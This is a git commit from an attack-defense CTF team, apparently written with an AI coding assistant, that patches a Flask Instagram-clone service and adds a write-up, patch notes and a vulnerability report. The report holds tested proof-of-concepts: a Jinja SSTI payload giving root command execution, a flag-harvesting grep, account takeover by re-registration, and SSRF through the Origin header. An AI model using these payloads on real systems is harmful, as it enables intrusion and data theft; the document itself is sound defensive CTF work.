rusgram: патч RCE, захвата аккаунта, SSRF и падений в 500
Разбор сервиса и все PoC — в services/rusgram/WRITEUP.md и VULNS.md. Каждая находка воспроизведена на живом стенде до патча и перепроверена после. content.py — V1 (RCE, крит) и V5: template_folder='files' совпадает с каталогом БД, поэтому render_template(path) с путём из URL рендерил файл пользователя как исходник Jinja-шаблона. Имя юзера выбирает атакующий: регистрируем `pwn.html`, кладём payload себе в first_name, дёргаем /db/users/pwn.html через публичный :38000 — RCE от root в контейнере, где смонтирован весь website/. Теперь рендерим только 4 реальные страницы. logic.py — V2 (захват аккаунта) и V3/V6 (SSRF/открытый редирект): register не проверял существование юзера, а database делал read-modify-write, так что повторная регистрация ПЕРЕЗАПИСЫВАЛА пароль, сохраняя msg и профиль: чужой аккаунт вместе с флагом и сломанный логин у чекера. Теперь 409. Location строился из заголовка Origin, а proxy ходил по нему серверсайд — чтение внутренней сети. Редирект стал фиксированным /login.html. database.py — снижает ущерб от V4: валидация имени юзера как имени файла, белый список полей, пароль можно только создать, но не перезаписать (смены пароля в сервисе нет), 400/404 вместо 500. proxy.py — defense in depth к V3: allow_redirects=False на ветке api/. V8: единая безопасная проверка сессии вместо 4 копий — кривая кука, отсутствие куки, несуществующий юзер и нечисловой img больше не роняют воркер в 500. Формат куки login||password и плейнтекстовые пароли осознанно НЕ трогали: чекер почти наверняка на них завязан. Тесты: services/rusgram/test_rusgram.py — SLA 16/16, SEC 21/21 на патче; на services_vulnerable та же секция SEC падает 12 раз. Сплойт собирает 0 флагов. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NN8sHQuGbTBLGGkJyfxzXr
This commit is contained in:
@@ -0,0 +1,122 @@
|
||||
# Rusgram — что запатчено
|
||||
|
||||
Оригинал (для диффа): `services_vulnerable/rusgram`
|
||||
Пропатчено: `services/rusgram`
|
||||
|
||||
```bash
|
||||
diff -ru services_vulnerable/rusgram services/rusgram
|
||||
```
|
||||
|
||||
Проверено на живом стенде: легальный флоу чекера проходит полностью,
|
||||
`sploits/rusgram_sploit.py` против пропатченного сервиса собирает **0 флагов**
|
||||
и не может даже перечислить пользователей.
|
||||
|
||||
---
|
||||
|
||||
## Изменения по файлам
|
||||
|
||||
### `content/content.py` — закрывает V1 (RCE) и V5
|
||||
|
||||
* **Белый список шаблонов.** `render_template(path)` теперь вызывается только для
|
||||
`index.html`, `login.html`, `register.html`, `specific.html`. Всё остальное — 404.
|
||||
Это корень SSTI: `template_folder='files'` совпадает с каталогом БД, поэтому
|
||||
файл пользователя рендерился как исходник Jinja-шаблона.
|
||||
* `get_login()` вынесен из тела вьюхи и больше не падает: нет куки, кука кривого
|
||||
формата, юзера не существует, database недоступен — всё возвращает `None`.
|
||||
* `specific.html`: `img` приводится к `int` и проверяется на диапазон 1–16.
|
||||
Побочно чинит незакавыченную подстановку `{{img['id']}}` внутрь `<script>`.
|
||||
|
||||
### `logic/logic.py` — закрывает V2 (ATO), V3 (SSRF), V6
|
||||
|
||||
* **Регистрация проверяет, что юзер не существует** → `409 user_exists`.
|
||||
Раньше повторный `register` перезаписывал пароль, сохраняя остальные поля,
|
||||
то есть отдавал чужой аккаунт вместе с флагом.
|
||||
* **`Origin` больше не попадает в `Location`.** Редирект на неавторизованный
|
||||
запрос теперь фиксированный: `redirect("/login.html")`. Это убивает и открытый
|
||||
редирект, и SSRF (proxy ходил по этому Location серверсайд).
|
||||
* `valid_username()` — отклоняет только опасное: `||` (ломает формат куки),
|
||||
`/`, `\`, `.`/`..`, имена на `.html`/`.htm` (defense in depth к V1).
|
||||
Юникод и точки внутри имени **разрешены** — чтобы не поймать SLA-фейл.
|
||||
* Единый `current_user()` вместо четырёх копий проверки; валидация тел запросов;
|
||||
таймауты на все внутренние вызовы.
|
||||
|
||||
### `database/database.py` — снижает ущерб от V4
|
||||
|
||||
* `safe_username()` — имя юзера становится именем файла, режем разделители пути.
|
||||
* Белый список полей профиля — нельзя насоздавать произвольных ключей.
|
||||
* **Пароль можно только создать, но не перезаписать** (`409`). Функции смены
|
||||
пароля в сервисе нет, легальный флоу не ломается, а прямой захват аккаунта
|
||||
через `:38002` закрывается даже без фаервола.
|
||||
* Валидация тел, ограничение длины значений (4096), корректные 400/404 вместо 500.
|
||||
|
||||
### `proxy/proxy.py` — defense in depth к V3
|
||||
|
||||
* `allow_redirects=False` на ветке `api/`. `requests` по умолчанию **ходит** по
|
||||
`Location`; редирект теперь отдаётся клиенту, а не отрабатывается прокси.
|
||||
* Ветка `.html` намеренно **оставлена как была** — там `Location` захардкожен
|
||||
в content (`/login.html`), пользовательского ввода нет, и менять поведение
|
||||
без нужды рискованно для SLA.
|
||||
|
||||
### `docker-compose.yml` — закрывает V4 и V5 по сети
|
||||
|
||||
* `image: git.itqdev.xyz/4x10m/rusgram-<node>:${IMAGE_TAG:-latest}` на **все пять**
|
||||
сервисов. Без этого CI-шаг падает: он делает
|
||||
`docker compose config --images | grep "^git.itqdev.xyz/4x10m/"` и `exit 1`, если пусто.
|
||||
* **Внутренние узлы больше не публикуются наружу:** `38001`–`38004` привязаны к
|
||||
`127.0.0.1`. Наружу торчит только proxy на `38000`.
|
||||
* `restart: unless-stopped`.
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Единственное изменение с риском для SLA — порты
|
||||
|
||||
Привязка `38001`–`38004` к localhost сделана **отдельным шагом и легко
|
||||
откатывается**. Предположение: чекер ходит только в proxy на `38000`.
|
||||
Из исходников это не доказать — проверить по Pacmate/Firegex на vulnbox.
|
||||
|
||||
Контейнеры между собой общаются по docker-сети (`database:5002` и т.д.),
|
||||
публикация портов на это не влияет — функциональность сохраняется полностью
|
||||
(проверено с внешнего IP: весь флоу чекера проходит через один `38000`).
|
||||
|
||||
**Откат, если чекер начнёт падать:**
|
||||
|
||||
```yaml
|
||||
ports:
|
||||
- "38002:5002" # вернуть 0.0.0.0 для нужного узла
|
||||
```
|
||||
|
||||
Локальный доступ для отладки на самом vulnbox при этом сохраняется
|
||||
(`curl 127.0.0.1:38002/...`).
|
||||
|
||||
---
|
||||
|
||||
## Что осознанно НЕ менялось
|
||||
|
||||
* **Пароли в плейнтексте и формат куки `login||password` (V7).** Чекер почти
|
||||
наверняка завязан на этот формат сессии; переделка схемы хранения на хеши
|
||||
в середине A/D — это гарантированный SLA-фейл ради очков, которые не начисляют.
|
||||
Добавлены только `httponly` и `samesite=Lax` на куку — это не меняет её значение.
|
||||
* Логика галереи, шаблоны, вёрстка — не трогались.
|
||||
|
||||
---
|
||||
|
||||
## Как проверить после деплоя
|
||||
|
||||
```bash
|
||||
cd services/rusgram
|
||||
docker compose up -d --build
|
||||
|
||||
# 1) сервис жив и легальный флоу работает
|
||||
curl -s -X POST http://127.0.0.1:38000/api/register \
|
||||
-H 'Content-Type: application/json' -d '{"login":"t1","password":"p"}' # 200
|
||||
|
||||
# 2) ключевые дыры закрыты
|
||||
curl -s -X POST http://127.0.0.1:38000/api/register \
|
||||
-H 'Content-Type: application/json' -d '{"login":"t1","password":"x"}' # 409
|
||||
curl -s -X POST http://127.0.0.1:38000/api/register \
|
||||
-H 'Content-Type: application/json' -d '{"login":"a.html","password":"p"}' # 400
|
||||
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:38000/db/users/t1 # 404
|
||||
|
||||
# 3) сплойт не собирает флаги
|
||||
python3 ../../sploits/rusgram_sploit.py <внешний_ip_этой_машины> # пусто
|
||||
```
|
||||
@@ -0,0 +1,347 @@
|
||||
# Rusgram — отчёт по уязвимостям
|
||||
|
||||
Все PoC ниже **отработаны на живом стенде** (`docker compose up` из этой папки),
|
||||
флаги реально извлечены. Формат флага: `[A-Z0-9]{31}=`.
|
||||
|
||||
Стенд для проверки: жертва `victim_krmltc`, флаги в `msg` и `first_name`.
|
||||
|
||||
| # | Уязвимость | Класс | Порт | Крит |
|
||||
|---|---|---|---|---|
|
||||
| [V1](#v1) | SSTI → RCE от root через имя пользователя `*.html` | CWE-1336 | **38000** | 🔴 CRITICAL |
|
||||
| [V2](#v2) | Перерегистрация чужого аккаунта = ATO без аутентификации | CWE-284 | **38000** | 🔴 CRITICAL |
|
||||
| [V3](#v3) | SSRF: proxy серверсайд идёт по редиректу из заголовка `Origin` | CWE-918 | **38000** | 🔴 HIGH |
|
||||
| [V4](#v4) | `database` без аутентификации опубликован наружу | CWE-306 | 38002 | 🔴 HIGH |
|
||||
| [V5](#v5) | `content` наружу: чтение файла любого юзера без `.html` | CWE-306 | 38004 | 🟠 HIGH |
|
||||
| [V6](#v6) | Открытый редирект через `Origin` | CWE-601 | 38000 | 🟡 MEDIUM |
|
||||
| [V7](#v7) | Пароли в плейнтексте + неподписанная кука-сессия | CWE-256/565 | — | 🟡 MEDIUM |
|
||||
| [V8](#v8) | Необработанные исключения → 500 (`split("||")`, `images/<bad>`) | CWE-248 | 38000 | 🟢 LOW |
|
||||
|
||||
Отрицательные проверки (протестированы, **не** воспроизводятся) — в конце.
|
||||
|
||||
---
|
||||
|
||||
<a name="v1"></a>
|
||||
## V1 — SSTI → RCE от root через имя пользователя, оканчивающееся на `.html` 🔴
|
||||
|
||||
**Где:** `content/content.py:45` + `proxy/proxy.py:19-21`
|
||||
|
||||
```python
|
||||
# content.py
|
||||
app = Flask(__name__, template_folder='files') # 'files' == том ./website
|
||||
...
|
||||
else:
|
||||
return render_template(path) # path из URL
|
||||
```
|
||||
|
||||
### Суть
|
||||
|
||||
`template_folder` узла content — это `files`, то есть **тот же самый том
|
||||
`./website`, внутри которого лежит `db/users/<username>`**. Файл пользователя —
|
||||
это данные, полностью подконтрольные атакующему, но `render_template()`
|
||||
скармливает его Jinja как **исходник шаблона**.
|
||||
|
||||
Ключ к тому, чтобы дотянуться до этого через публичный порт 38000: proxy
|
||||
пропускает в content только пути с расширением `.html`…
|
||||
|
||||
```python
|
||||
ext = path.split('.')[-1]
|
||||
if ext == "html":
|
||||
resp = r.get(f"http://{content_node}/{path}?...")
|
||||
```
|
||||
|
||||
…но **имя пользователя выбирает атакующий**. Регистрируем юзера с логином
|
||||
`pwn.html` → его файл ложится в `files/db/users/pwn.html` → запрос
|
||||
`GET /db/users/pwn.html` проходит фильтр расширения, попадает в `else`-ветку
|
||||
`content.py` и рендерится как шаблон. Содержимое шаблона мы заранее записали
|
||||
сами через `/api/update_personal`.
|
||||
|
||||
Autoescape тут не спасает: он экранирует **результат** выражения, но не мешает
|
||||
Jinja это выражение **выполнить**.
|
||||
|
||||
### PoC (проверен)
|
||||
|
||||
```bash
|
||||
BASE=http://TARGET:38000
|
||||
|
||||
# 1. регистрируем юзера, чьё имя оканчивается на .html
|
||||
curl -s -X POST $BASE/api/register -H 'Content-Type: application/json' \
|
||||
-d '{"login":"pwn.html","password":"p"}'
|
||||
|
||||
# 2. кладём Jinja-payload в своё же поле first_name
|
||||
curl -s -X POST $BASE/api/update_personal -H 'Content-Type: application/json' \
|
||||
-H 'Cookie: session=pwn.html||p' \
|
||||
-d '{"first_name":"{{ lipsum.__globals__.os.popen('"'"'id'"'"').read() }}","second_name":"x","email":"x"}'
|
||||
|
||||
# 3. заставляем content отрендерить наш файл как шаблон — через ПУБЛИЧНЫЙ порт
|
||||
curl -s $BASE/db/users/pwn.html
|
||||
```
|
||||
|
||||
Реальный вывод со стенда:
|
||||
|
||||
```
|
||||
{"password": "p", "first_name": "uid=0(root) gid=0(root) groups=0(root),...
|
||||
---
|
||||
pwn.html
|
||||
victim_krmltc
|
||||
", "second_name": "x", "email": "x"}
|
||||
```
|
||||
|
||||
**RCE от root** в контейнере content, где смонтирован весь `website/` —
|
||||
то есть вся база всех пользователей.
|
||||
|
||||
### Сбор всех флагов одним запросом
|
||||
|
||||
```python
|
||||
payload = "{{ lipsum.__globals__.os.popen('grep -rhoE \"[A-Z0-9]{31}=\" /app/files/db/').read() }}"
|
||||
```
|
||||
|
||||
Со стенда вернулось: `['2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=', 'QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=']`
|
||||
— оба посаженных флага, за один HTTP-запрос, без знания имён жертв
|
||||
(`grep -r` сам обходит каталог).
|
||||
|
||||
### ⚠️ Важный нюанс эксплуатации: кэш Jinja
|
||||
|
||||
Flask вне debug-режима **не перечитывает шаблоны** (`auto_reload` выключен).
|
||||
Как только `db/users/pwn.html` отрендерился первый раз, скомпилированная версия
|
||||
кэшируется, и правки файла больше не подхватываются.
|
||||
|
||||
Практический вывод для сплойта: **на каждый раунд — свежее случайное имя юзера**,
|
||||
и payload обязательно кладётся **до** первого запроса на рендер. В `sploit_rusgram.py`
|
||||
это учтено.
|
||||
|
||||
---
|
||||
|
||||
<a name="v2"></a>
|
||||
## V2 — Перерегистрация чужого аккаунта: ATO без аутентификации 🔴
|
||||
|
||||
**Где:** `logic/logic.py:23-33` + `database/database.py:22-33`
|
||||
|
||||
```python
|
||||
# logic.register — никакой проверки существования
|
||||
resp = r.post(f"http://{database_node}/users/{username}/password", json={"value": password})
|
||||
|
||||
# database.users POST — тоже никакой
|
||||
if not os.path.exists(path):
|
||||
Path(path).touch()
|
||||
...
|
||||
data[field] = request.json["value"] # read-modify-write
|
||||
```
|
||||
|
||||
### Суть
|
||||
|
||||
`register` для существующего юзера — это **не ошибка, а перезапись пароля**.
|
||||
Причём read-modify-write сохраняет все остальные поля: `msg`, `first_name` и
|
||||
прочее **остаются на месте**. Атакующий получает 200 и валидную куку на чужой
|
||||
аккаунт со всем его содержимым.
|
||||
|
||||
Это одновременно **кража флагов** и **саботаж**: у чекера ломается логин в
|
||||
собственный аккаунт.
|
||||
|
||||
### PoC (проверен)
|
||||
|
||||
```bash
|
||||
BASE=http://TARGET:38000
|
||||
VICTIM=victim_krmltc
|
||||
|
||||
curl -s -i -X POST $BASE/api/register -H 'Content-Type: application/json' \
|
||||
-d "{\"login\":\"$VICTIM\",\"password\":\"hacked123\"}"
|
||||
# → HTTP/1.1 200 OK
|
||||
# → Set-Cookie: session=victim_krmltc||hacked123; Path=/
|
||||
|
||||
curl -s $BASE/ -H "Cookie: session=$VICTIM||hacked123" | grep -oE '[A-Z0-9]{31}='
|
||||
```
|
||||
|
||||
Реальный вывод со стенда:
|
||||
|
||||
```
|
||||
2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=
|
||||
QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=
|
||||
```
|
||||
|
||||
Оба флага, ноль исходных кредов. Нужно только знать имя жертвы — оно берётся из
|
||||
комментариев (V4) или из `ls` через V1.
|
||||
|
||||
---
|
||||
|
||||
<a name="v3"></a>
|
||||
## V3 — SSRF: proxy серверсайд ходит по редиректу из `Origin` 🔴
|
||||
|
||||
**Где:** `logic/logic.py:41,55,65` + `proxy/proxy.py:28`
|
||||
|
||||
```python
|
||||
# logic: Location строится из заголовка, который контролирует атакующий
|
||||
return redirect(request.headers.get("Origin", "") + "/login.html", code=302)
|
||||
|
||||
# proxy: requests по умолчанию allow_redirects=True — и ИДЁТ по этому Location
|
||||
resp = passcall(f"http://{logic_node}/{path[4:]}", json=request.get_json(), headers=request.headers)
|
||||
return resp.content, resp.status_code, resp.headers.items()
|
||||
```
|
||||
|
||||
### Суть
|
||||
|
||||
Когда проверка пароля не проходит, logic отдаёт 302 на `Origin + "/login.html"`.
|
||||
Proxy получает этот 302 и, поскольку `requests` по умолчанию следует редиректам,
|
||||
**сам делает запрос на указанный URL из своего контейнера** — и возвращает тело
|
||||
атакующему.
|
||||
|
||||
Хвост `/login.html` обрезается тривиально: заканчиваем `Origin` на `?x=`, и он
|
||||
уезжает в query string.
|
||||
|
||||
Это самая неприятная из находок для защиты, потому что **работает даже если
|
||||
закрыть порты 38001–38004**: proxy ходит во внутреннюю сеть за нас.
|
||||
|
||||
### PoC (проверен)
|
||||
|
||||
```bash
|
||||
BASE=http://TARGET:38000
|
||||
VICTIM=victim_krmltc
|
||||
|
||||
curl -s -X POST $BASE/api/send_msg -H 'Content-Type: application/json' \
|
||||
-H "Cookie: session=$VICTIM||WRONGPASS" \
|
||||
-H "Origin: http://database:5002/users/$VICTIM/msg?x=" \
|
||||
-d '{"msg":"x"}'
|
||||
```
|
||||
|
||||
Реальный вывод со стенда:
|
||||
|
||||
```
|
||||
{"data":"2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=","status":"ok"}
|
||||
```
|
||||
|
||||
Флаг из внутреннего database-узла — через один только публичный порт 38000.
|
||||
|
||||
Подтверждение самого 302 (напрямую в logic):
|
||||
|
||||
```
|
||||
POST /send_msg Origin: https://evil.example
|
||||
→ 302, Location: https://evil.example/login.html
|
||||
```
|
||||
|
||||
Запрос на внешний хост со стенда вернул 500 (в тестовой docker-сети нет egress) —
|
||||
**на боевом vulnbox, если egress есть, это ещё и канал эксфильтрации.**
|
||||
|
||||
---
|
||||
|
||||
<a name="v4"></a>
|
||||
## V4 — `database` без аутентификации опубликован наружу 🔴
|
||||
|
||||
**Где:** `docker-compose.yml` (`38002:5002`) + весь `database/database.py`
|
||||
|
||||
Узел database не имеет **ни одной** проверки доступа. Он опубликован на хосте.
|
||||
|
||||
### PoC (проверен)
|
||||
|
||||
```bash
|
||||
D=http://TARGET:38002
|
||||
curl -s $D/users/victim_krmltc/password # {"data":"hacked123","status":"ok"}
|
||||
curl -s $D/users/victim_krmltc/msg # {"data":"2F2HOFY5DQ...","status":"ok"} ← ФЛАГ
|
||||
curl -s $D/users/victim_krmltc/first_name # {"data":"QZHZAGZTFO...","status":"ok"} ← ФЛАГ
|
||||
```
|
||||
|
||||
Запись работает так же — можно перезаписать пароль/поля любому юзеру (саботаж):
|
||||
|
||||
```bash
|
||||
curl -s -X POST $D/users/victim_krmltc/password \
|
||||
-H 'Content-Type: application/json' -d '{"value":"OWNED"}' # → 200
|
||||
```
|
||||
|
||||
**Энумерация имён** (без RCE): авторы комментариев отдаются в открытую.
|
||||
|
||||
```bash
|
||||
for i in $(seq 1 16); do curl -s $D/images/$i; done # comments: [["username","text"],...]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
<a name="v5"></a>
|
||||
## V5 — `content` наружу: чтение файла любого юзера 🟠
|
||||
|
||||
**Где:** `docker-compose.yml` (`38004:5004`) + `content/content.py:45`
|
||||
|
||||
Напрямую в content ограничение на `.html` (которое накладывает proxy) отсутствует —
|
||||
`render_template(path)` вызывается для любого пути.
|
||||
|
||||
### PoC (проверен)
|
||||
|
||||
```bash
|
||||
curl -s http://TARGET:38004/db/users/victim_krmltc
|
||||
```
|
||||
|
||||
Реальный вывод со стенда:
|
||||
|
||||
```
|
||||
{"password": "hacked123", "msg": "2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=",
|
||||
"first_name": "QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=", "second_name": "Ivanov", ...}
|
||||
```
|
||||
|
||||
Здесь же работает и V1 (SSTI) — но уже без требования, чтобы имя оканчивалось на `.html`.
|
||||
|
||||
---
|
||||
|
||||
<a name="v6"></a>
|
||||
## V6 — Открытый редирект через `Origin` 🟡
|
||||
|
||||
Тот же код, что и в V3. Если смотреть на logic напрямую (38003) — классический
|
||||
open redirect на произвольный домен:
|
||||
|
||||
```
|
||||
POST /send_msg, Cookie: session=<существующий_юзер>||неверный_пароль,
|
||||
Origin: https://evil.example
|
||||
→ 302 Location: https://evil.example/login.html
|
||||
```
|
||||
|
||||
Через proxy наружу это превращается в SSRF (V3), поэтому чинится одним патчем.
|
||||
|
||||
---
|
||||
|
||||
<a name="v7"></a>
|
||||
## V7 — Плейнтекстовые пароли и неподписанная сессия 🟡
|
||||
|
||||
* `website/db/users/*` хранит `"password"` как есть — любое чтение файла (V1/V4/V5)
|
||||
сразу даёт креды.
|
||||
* Кука `session=<login>||<password>` не подписана, без `HttpOnly`/`Secure`/срока жизни,
|
||||
и **гоняет пароль в открытом виде в каждом запросе**.
|
||||
|
||||
В условиях A/D полностью переделывать схему рискованно (чекер завязан на формат
|
||||
куки), поэтому в патче это осознанно **не** менялось — см. `PATCH.md`.
|
||||
|
||||
---
|
||||
|
||||
<a name="v8"></a>
|
||||
## V8 — Необработанные исключения → 500 🟢
|
||||
|
||||
Проверено на стенде:
|
||||
|
||||
* `GET /` с кукой `session=a||b||c` → **500** (`ValueError: too many values to unpack`
|
||||
в `split("||")`). Аналогично во всех четырёх ручках logic.
|
||||
* `GET /images/0`, `/images/-1`, `/images/99`, `/images/abc` → **500**
|
||||
(`FileNotFoundError`, файла нет).
|
||||
* `POST /api/*` без куки `session` → **500** (`KeyError`).
|
||||
* Запрос к несуществующему юзеру: `.json()["data"]` по 404-ответу → **500** (`KeyError`).
|
||||
|
||||
Флагов не даёт, но шумит в логах и может ронять SLA, если чекер ходит кривыми
|
||||
запросами. Плюс скрывает настоящие атаки в шуме.
|
||||
|
||||
---
|
||||
|
||||
## Отрицательные результаты (проверено — НЕ работает)
|
||||
|
||||
Чтобы команда не тратила время:
|
||||
|
||||
| Гипотеза | Результат |
|
||||
|---|---|
|
||||
| Path traversal в `static` (`/css/..%2f..%2fetc%2fpasswd.css`) | **404.** Конвертер `<name>` в Werkzeug не матчит слэши |
|
||||
| Инъекция пути через `img_id` в `post_comment` (`../users/<victim>`) | **404** на database. Роут `<string:id>` не матчит многосегментные пути |
|
||||
| Traversal через `username` в database (`..`, `%2f`) | Не матчится роутом / упирается в каталог |
|
||||
| Traversal через `render_template` (`../../etc/passwd`) | Jinja `split_template_path` режет `..` |
|
||||
| SSRF (V3) на внешний хост | 500 на стенде — в тестовой docker-сети нет egress. **На vulnbox проверить отдельно** |
|
||||
|
||||
---
|
||||
|
||||
## Приоритет патчей
|
||||
|
||||
1. **V1** — RCE, публичный порт. Чинить первым.
|
||||
2. **V2** — ATO + саботаж чекера, публичный порт.
|
||||
3. **V3** — SSRF, обходит закрытие портов.
|
||||
4. **V4/V5** — закрыть публикацию внутренних портов (осторожно, см. `PATCH.md`).
|
||||
5. **V8** — устойчивость, чтобы не терять SLA.
|
||||
@@ -0,0 +1,152 @@
|
||||
# Rusgram — врайтап по сервису
|
||||
|
||||
Python-сервис A/D. Инстаграм-клон: галерея из 16 картинок, комментарии, профиль
|
||||
пользователя. Написан как **пять отдельных Flask-приложений**, общающихся по HTTP
|
||||
внутри docker-сети.
|
||||
|
||||
---
|
||||
|
||||
## 1. Архитектура
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────┐
|
||||
игрок/чекер ──────► │ proxy :5000 (публикуется на :38000) │
|
||||
└───┬──────────────┬───────────────┬───────┘
|
||||
*.html │ *.css │ api/* │
|
||||
▼ *.jpg ▼ ▼
|
||||
┌─────────────┐ ┌────────────┐ ┌─────────────┐
|
||||
│ content │ │ static │ │ logic │
|
||||
│ :5004 │ │ :5001 │ │ :5003 │
|
||||
│ (:38004) │ │ (:38001) │ │ (:38003) │
|
||||
└──────┬──────┘ └─────┬──────┘ └──────┬──────┘
|
||||
│ │ │
|
||||
└───────────────┼────────────────┘
|
||||
▼
|
||||
┌─────────────────┐
|
||||
│ database │
|
||||
│ :5002 │
|
||||
│ (:38002) │
|
||||
└────────┬────────┘
|
||||
▼
|
||||
./website/db/ (том)
|
||||
users/<username> ← JSON-файл на юзера
|
||||
images/01..16 ← JSON с комментариями
|
||||
```
|
||||
|
||||
**Ключевой факт: все пять контейнеров публикуют порты наружу** (38000–38004),
|
||||
хотя по замыслу «внутренними» являются четыре из них. `docker-compose.yml`
|
||||
мапит `38002:5002` для database, `38003:5003` для logic и т.д.
|
||||
|
||||
### Роли узлов
|
||||
|
||||
| Узел | Порт | Что делает |
|
||||
|---|---|---|
|
||||
| **proxy** | 38000 | Единственная «легальная» точка входа. Роутит по расширению пути: `.html` → content, статика → static, `api/*` → logic, остальное → редирект на `/` |
|
||||
| **content** | 38004 | Рендерит Jinja-шаблоны. `template_folder='files'` — **тот же том, где лежит БД** |
|
||||
| **static** | 38001 | Отдаёт `send_file` из `files/static/{img,css,fonts,js}` |
|
||||
| **logic** | 38003 | Вся бизнес-логика: `/login`, `/register`, `/update_personal`, `/send_msg`, `/post_comment` |
|
||||
| **database** | 38002 | Плоское key-value хранилище поверх файлов. **Никакой аутентификации вообще** |
|
||||
|
||||
---
|
||||
|
||||
## 2. Модель данных
|
||||
|
||||
Пользователь — это один JSON-файл `website/db/users/<username>` (имя файла = логин):
|
||||
|
||||
```json
|
||||
{"password": "plaintext", "first_name": "...", "second_name": "...",
|
||||
"email": "...", "msg": "..."}
|
||||
```
|
||||
|
||||
Картинка — `website/db/images/01`..`16`:
|
||||
|
||||
```json
|
||||
{"name": "Coffee", "description": "...", "comments": [["author", "text"], ...]}
|
||||
```
|
||||
|
||||
Пароли лежат **в открытом виде**. Хеширования нет нигде.
|
||||
|
||||
---
|
||||
|
||||
## 3. Аутентификация
|
||||
|
||||
Сессия — это незашифрованная, неподписанная кука:
|
||||
|
||||
```
|
||||
session = "<username>||<password>"
|
||||
```
|
||||
|
||||
Проверка сессии (одинаково скопирована в `logic.py` 4 раза и в `content.py`):
|
||||
|
||||
```python
|
||||
username, password = request.cookies["session"].split("||")
|
||||
correct_password = r.get(f"http://{database_node}/users/{username}/password").json()["data"]
|
||||
if correct_password != password:
|
||||
return redirect(...)
|
||||
```
|
||||
|
||||
То есть **пароль в открытом виде ездит в куке в каждом запросе**, а «сессия» —
|
||||
это просто пара логин/пароль. Ни срока жизни, ни подписи, ни HttpOnly/Secure.
|
||||
|
||||
---
|
||||
|
||||
## 4. Где живут флаги
|
||||
|
||||
Чекер кладёт флаги в **два** места, оба через публичный API:
|
||||
|
||||
1. **`POST /api/send_msg`** → поле `msg` в файле юзера → рендерится на `index.html`
|
||||
в блоке «личное сообщение».
|
||||
2. **`POST /api/update_personal`** → поля `first_name` / `second_name` / `email`
|
||||
→ рендерятся в форму профиля на `index.html`.
|
||||
|
||||
Плюс потенциально комментарии (`POST /api/post_comment` → `images/<id>.comments`),
|
||||
но там автор виден всем залогиненным — это скорее не flag store.
|
||||
|
||||
**Вывод для атаки:** флаг = содержимое `website/db/users/<victim>`. Всё, что даёт
|
||||
чтение этого файла (или выполнение кода в контейнере, где он смонтирован), даёт флаг.
|
||||
|
||||
**Вывод для защиты:** флаг должен читаться **только** владельцем аккаунта после
|
||||
проверки пароля. Любой путь, обходящий эту проверку, — дыра.
|
||||
|
||||
---
|
||||
|
||||
## 5. Легальный флоу
|
||||
|
||||
```
|
||||
POST /api/register {"login","password"} → 200 + Set-Cookie: session=login||password
|
||||
POST /api/login {"login","password"} → 200 + Set-Cookie
|
||||
POST /api/send_msg {"msg"} → пишет msg
|
||||
POST /api/update_personal {...} → пишет first_name/second_name/email
|
||||
GET / → index.html со своим профилем и галереей
|
||||
GET /specific.html?img=N → картинка + комментарии
|
||||
POST /api/post_comment {"img_id","msg"} → комментарий
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Что бросается в глаза сразу (детали в `VULNS.md`)
|
||||
|
||||
1. **`database` не имеет аутентификации и опубликован на 38002.** Это key-value
|
||||
store, где `GET /users/<кто угодно>/password` возвращает пароль, а `POST`
|
||||
перезаписывает любое поле любого юзера.
|
||||
2. **`content` рендерит `render_template(path)` с путём из URL**, а его
|
||||
`template_folder` — это тот же каталог, где лежит БД. Значит файл юзера можно
|
||||
отрендерить *как Jinja-шаблон*.
|
||||
3. **`register` не проверяет, существует ли юзер.** `database.py` на POST просто
|
||||
делает `touch` + перезапись поля.
|
||||
4. **`proxy` ходит в бэкенды через `requests` с `allow_redirects=True`** — то есть
|
||||
302 от logic заставляет proxy сходить по чужому URL серверсайд.
|
||||
5. Пароли в плейнтексте, сессия без подписи, `split("||")` падает на логине с `||`.
|
||||
|
||||
---
|
||||
|
||||
## 7. Как поднять локально
|
||||
|
||||
```bash
|
||||
cd services/rusgram
|
||||
docker compose up -d --build
|
||||
curl http://127.0.0.1:38000/login.html
|
||||
```
|
||||
|
||||
Состояние сервиса — в `website/db/`. Чтобы сбросить: удалить файлы из
|
||||
`website/db/users/` (кроме `.gitkeep`) и вернуть `website/db/images/*` из git.
|
||||
@@ -1,47 +1,90 @@
|
||||
#!/usr/bin/python3
|
||||
from flask import Flask, render_template, request, redirect
|
||||
from flask import Flask, render_template, request, redirect, abort
|
||||
import requests as r
|
||||
app = Flask(__name__, template_folder='files')
|
||||
database_node_port = 5002
|
||||
content_node_port = 5004
|
||||
database_node = "database:" + str(database_node_port)
|
||||
|
||||
# PATCH V1/V5: template_folder ('files') — это тот же том, где лежит db/users/<логин>.
|
||||
# Раньше render_template(path) с путём из URL позволял отрендерить файл юзера
|
||||
# как Jinja-шаблон => SSTI => RCE. Рендерим только реально существующие страницы.
|
||||
ALLOWED_TEMPLATES = {"index.html", "login.html", "register.html", "specific.html"}
|
||||
|
||||
# PATCH V8: сколько картинок реально есть в db/images
|
||||
IMG_MIN, IMG_MAX = 1, 16
|
||||
|
||||
|
||||
def get_login():
|
||||
"""Возвращает имя юзера или None. Никогда не бросает исключение."""
|
||||
session = request.cookies.get("session")
|
||||
if session is None:
|
||||
return None
|
||||
parts = session.split("||")
|
||||
if len(parts) != 2: # PATCH V8: раньше тут был ValueError -> 500
|
||||
return None
|
||||
username, password = parts
|
||||
if not username:
|
||||
return None
|
||||
try:
|
||||
resp = r.get(f"http://{database_node}/users/{username}/password", timeout=5)
|
||||
if resp.status_code != 200: # PATCH V8: раньше KeyError -> 500
|
||||
return None
|
||||
if resp.json().get("data") != password:
|
||||
return None
|
||||
except (r.RequestException, ValueError):
|
||||
return None
|
||||
return username
|
||||
|
||||
|
||||
def _field(username, name):
|
||||
try:
|
||||
resp = r.get(f"http://{database_node}/users/{username}/{name}", timeout=5)
|
||||
return resp.json()["data"] if resp.status_code == 200 else ""
|
